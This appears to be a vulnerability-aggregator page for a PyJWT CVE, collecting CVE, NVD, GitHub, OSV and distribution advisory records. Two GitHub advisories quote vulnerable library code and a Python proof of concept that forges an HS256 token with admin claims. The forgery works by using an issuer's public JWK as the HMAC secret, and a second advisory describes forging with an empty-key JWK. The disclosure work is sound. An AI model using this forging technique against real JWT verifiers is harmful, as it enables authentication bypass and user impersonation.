CVE-2026-48526
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.4
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
- Record
CVE-2026-48526- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-347, CWE-347
- Updated
- 2026-11-02
EUVDEUVD-2026-32917
7.4
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
- Record
EUVD-2026-32917- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pxh4-856f-4h89
7.4
PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
Summary
HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is
the empty string and returns a zero-length key without raising. When a token is
then verified with that key object (a PyJWK, or a PyJWK resolved by
PyJWKSet / PyJWKClient), the HMAC verifier computes
HMAC(key=b"", signing_input) and accepts any token an attacker forged with the
same empty key. The attacker needs no secret knowledge: they reproduce the digest
locally with an empty key and set the token's kid to the empty-k JWK.
The empty-key rejection that HMACAlgorithm.prepare_key performs for
string/bytes secrets (added in 2.13.0) was never propagated to the sibling
from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under
default decode options this path only emits an InsecureKeyLengthWarning, not an
error, so verification still succeeds. This is the same "empty/nil HMAC key is
accepted by verify" defect the JWT ecosystem is currently closing library-side:
fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a
library-side reject-empty-HMAC-key precondition.
Affected versions
PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit
7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is
already guarded in 2.13.0; the JWK/JWKS path is not.
Privilege required
Unauthenticated. Any party who can reach a JWT-verifying endpoint of an
application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct
key has an empty k can forge tokens with arbitrary claims.
Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct
entry carries an empty k. This occurs when the signing secret is sourced from
an unset environment variable / unset config row / key-finder fallback that
base64url-encodes b"" into the published JWKS, or when the application trusts a
JWKS containing such an entry. The equivalent unset-secret case for the
string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0;
the JWK route is the remaining reachable surface for the same misconfiguration.
Vulnerable code
jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
try:
if isinstance(jwk, str):
obj: JWKDict = json.loads(jwk)
elif isinstance(jwk, dict):
obj = jwk
else:
raise ValueError
except ValueError:
raise InvalidKeyError("Key is not valid JSON") from None
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
return base64url_decode(obj["k"]) # <-- empty k -> b"", no rejection
Contrast the sibling prepare_key, which DID get the guard (lines 325-329):
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key
material directly, bypassing prepare_key, and the length warning is non-fatal
by default:
if isinstance(key, PyJWK):
if alg != key.algorithm_name:
raise InvalidAlgorithmError(
f"Token algorithm {alg!r} does not match the key's "
f"algorithm {key.algorithm_name!r}"
)
alg_obj = key.Algorithm
prepared_key = key.key # from_jwk output (b""), prepare_key not run
else:
try:
alg_obj = self.get_algorithm_by_name(alg)
except NotImplementedError as e:
raise InvalidAlgorithmError("Algorithm not supported") from e
prepared_key = alg_obj.prepare_key(key)
key_length_msg = alg_obj.check_key_length(prepared_key)
if key_length_msg:
if effective_options.get("enforce_minimum_key_length", False):
…
- Record
GHSA-pxh4-856f-4h89- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xgmm-8j9v-c9wx
7.4
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in
algorithms=[…]and a raw-JSON JWK as thekey=argument, both contrary to documented usage, hence the High attack-complexity rating.
Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
- Record
GHSA-xgmm-8j9v-c9wx- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-347
- Updated
- 2026-11-02
NVD
7.4
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
- Record
CVE-2026-48526- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-347
- Updated
- 2026-11-02
OSVBELL-CVE-2026-48526
7.4
- Record
BELL-CVE-2026-48526- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Show 40 moreShow less
OSV
7.4
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
- Record
CVE-2026-48526- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-347
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-48526
7.4
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
- Record
DEBIAN-CVE-2026-48526- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVGHSA-pxh4-856f-4h89
7.4
PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
Summary
HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is
the empty string and returns a zero-length key without raising. When a token is
then verified with that key object (a PyJWK, or a PyJWK resolved by
PyJWKSet / PyJWKClient), the HMAC verifier computes
HMAC(key=b"", signing_input) and accepts any token an attacker forged with the
same empty key. The attacker needs no secret knowledge: they reproduce the digest
locally with an empty key and set the token's kid to the empty-k JWK.
The empty-key rejection that HMACAlgorithm.prepare_key performs for
string/bytes secrets (added in 2.13.0) was never propagated to the sibling
from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under
default decode options this path only emits an InsecureKeyLengthWarning, not an
error, so verification still succeeds. This is the same "empty/nil HMAC key is
accepted by verify" defect the JWT ecosystem is currently closing library-side:
fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a
library-side reject-empty-HMAC-key precondition.
Affected versions
PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit
7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is
already guarded in 2.13.0; the JWK/JWKS path is not.
Privilege required
Unauthenticated. Any party who can reach a JWT-verifying endpoint of an
application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct
key has an empty k can forge tokens with arbitrary claims.
Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct
entry carries an empty k. This occurs when the signing secret is sourced from
an unset environment variable / unset config row / key-finder fallback that
base64url-encodes b"" into the published JWKS, or when the application trusts a
JWKS containing such an entry. The equivalent unset-secret case for the
string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0;
the JWK route is the remaining reachable surface for the same misconfiguration.
Vulnerable code
jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
try:
if isinstance(jwk, str):
obj: JWKDict = json.loads(jwk)
elif isinstance(jwk, dict):
obj = jwk
else:
raise ValueError
except ValueError:
raise InvalidKeyError("Key is not valid JSON") from None
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
return base64url_decode(obj["k"]) # <-- empty k -> b"", no rejection
Contrast the sibling prepare_key, which DID get the guard (lines 325-329):
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key
material directly, bypassing prepare_key, and the length warning is non-fatal
by default:
if isinstance(key, PyJWK):
if alg != key.algorithm_name:
raise InvalidAlgorithmError(
f"Token algorithm {alg!r} does not match the key's "
f"algorithm {key.algorithm_name!r}"
)
alg_obj = key.Algorithm
prepared_key = key.key # from_jwk output (b""), prepare_key not run
else:
try:
alg_obj = self.get_algorithm_by_name(alg)
except NotImplementedError as e:
raise InvalidAlgorithmError("Algorithm not supported") from e
prepared_key = alg_obj.prepare_key(key)
key_length_msg = alg_obj.check_key_length(prepared_key)
if key_length_msg:
if effective_options.get("enforce_minimum_key_length", False):
…
- Record
GHSA-pxh4-856f-4h89- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVGHSA-xgmm-8j9v-c9wx
7.4
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in
algorithms=[…]and a raw-JSON JWK as thekey=argument, both contrary to documented usage, hence the High attack-complexity rating.
Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
- Record
GHSA-xgmm-8j9v-c9wx- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-347
- Updated
- 2026-11-02
OSVPYSEC-2026-179
7.4
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
- Record
PYSEC-2026-179- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:25902
7.4
Red Hat Security Advisory: fence-agents security update
- Record
RHSA-2026:25902- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:26206
7.4
Red Hat Security Advisory: fence-agents security update
- Record
RHSA-2026:26206- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:34160
8.1
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:34160- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:34365
8.8
Red Hat Security Advisory: Satellite 6.19.2 Async Update
- Record
RHSA-2026:34365- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L - Updated
- 2026-11-02
OSVRHSA-2026:35835
7.4
Red Hat Security Advisory: fence-agents security update
- Record
RHSA-2026:35835- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:35836
7.4
Red Hat Security Advisory: fence-agents security update
- Record
RHSA-2026:35836- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:35837
7.4
Red Hat Security Advisory: fence-agents security update
- Record
RHSA-2026:35837- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:35845
7.4
Red Hat Security Advisory: fence-agents security update
- Record
RHSA-2026:35845- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:50222
7.5
Red Hat Security Advisory: Satellite 6.17.10 Async Update
- Record
RHSA-2026:50222- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50223
8.2
Red Hat Security Advisory: Satellite 6.16.12 Async Update
- Record
RHSA-2026:50223- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50263
7.5
Red Hat Security Advisory: Satellite 6.18.8 Async Update
- Record
RHSA-2026:50263- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50319
8.2
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:50319- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50336
8.2
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:50336- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVRLSA-2026:25902
7.4
Important: fence-agents security update
The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.
Security Fix(es):
- python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:25902- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRLSA-2026:26206
7.4
Important: fence-agents security update
The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.
Security Fix(es):
- python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:26206- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-48526
7.4
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
- Record
UBUNTU-CVE-2026-48526- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVALSA-2026:25902 No score
Important: fence-agents security update
The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.
Security Fix(es):
- python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:25902- Updated
- 2026-11-02
OSVALSA-2026:26206 No score
Important: fence-agents security update
The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.
Security Fix(es):
- python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:26206- Updated
- 2026-11-02
OSVAZL-93033 No score
CVE-2026-48526 affecting package python-jwt for versions less than 2.13.0-1
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
- Record
AZL-93033- Updated
- 2026-11-02
OSVCLSA-2026-1783299703 No score
TuxCare security update for pyjwt (4 CVEs)
TuxCare rebuilt pyjwt to address 4 CVEs. Fixed in 2.10.1.post2+tuxcare.
- Record
CLSA-2026-1783299703- Updated
- 2026-11-02
OSVCLSA-2026-1786520090 No score
TuxCare security update for pyjwt (1 CVE)
TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.8.0.post2+tuxcare.
- Record
CLSA-2026-1786520090- Updated
- 2026-11-02
OSVCLSA-2026-1786521955 No score
TuxCare security update for pyjwt (3 CVEs)
TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 2.3.0.post2+tuxcare.
- Record
CLSA-2026-1786521955- Updated
- 2026-11-02
OSVCLSA-2026-1787038724 No score
TuxCare security update for pyjwt (3 CVEs)
TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 1.7.1.post3+tuxcare.
- Record
CLSA-2026-1787038724- Updated
- 2026-11-02
OSVCLSA-2026-1792740713 No score
TuxCare security update for pyjwt (1 CVE)
TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.10.1.post7+tuxcare.
- Record
CLSA-2026-1792740713- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11024-1 No score
python311-PyJWT-2.13.0-1.1 on GA media
These are all security issues fixed in the python311-PyJWT-2.13.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11024-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21095-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
openSUSE-SU-2026:21095-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-48526 No score
CVE-2026-48526 in pyjwt - Patched by Root
Root has patched CVE-2026-48526 in the pyjwt package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-48526- Updated
- 2026-11-02
OSVROOT-APP-PYPI-GHSA-pxh4-856f-4h89 No score
GHSA-pxh4-856f-4h89 in PyJWT - Patched by Root
Root has patched GHSA-pxh4-856f-4h89 in the PyJWT package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-GHSA-pxh4-856f-4h89- Updated
- 2026-11-02
OSVSUSE-SU-2026:22138-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:22138-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:22170-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:22170-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:22220-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:22220-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:22238-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48524: unlimited processing of JWTs with unknown kid values by
PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:22238-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:2626-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
